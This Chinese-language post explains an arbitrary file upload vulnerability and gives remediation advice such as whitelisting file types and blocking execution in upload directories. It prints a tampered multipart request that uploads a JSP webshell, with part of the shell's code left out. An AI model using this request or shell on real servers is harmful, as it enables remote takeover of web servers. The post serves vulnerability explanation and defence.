任意文件上传漏洞

发布于:2023-01-05 ⋅ 阅读:(429) ⋅ 点赞:(0)

上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。

 

 木马程序如下:

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="file"; filename="webshell.jsp"

Content-Type: text/html

<%@page pageEncoding="utf-8"%>

<%@page import="java.io.*"%>

<%@page import="java.util.*"%>

<%@page import="java.util.regex.*"%>

。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

    bout.close();

    out.flush();

    ((Invoker) ins.get("bottom"))

    .invoke(request, response, session);

    ((Invoker) ins.get("after")).invoke(request, response, session);

    }

%>

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="uploadPath"

people

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="uploadFloderPath"

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="isRename"

no

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="maxSize"

2

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="allowedFile"

------WebKitFormBoundaryS5DF515w3dmuH4em--

最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。

 

 

任意文件上传漏洞整改建议:

1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。

2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。

4、使用第三方web防火墙来加固整个网站系统。

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到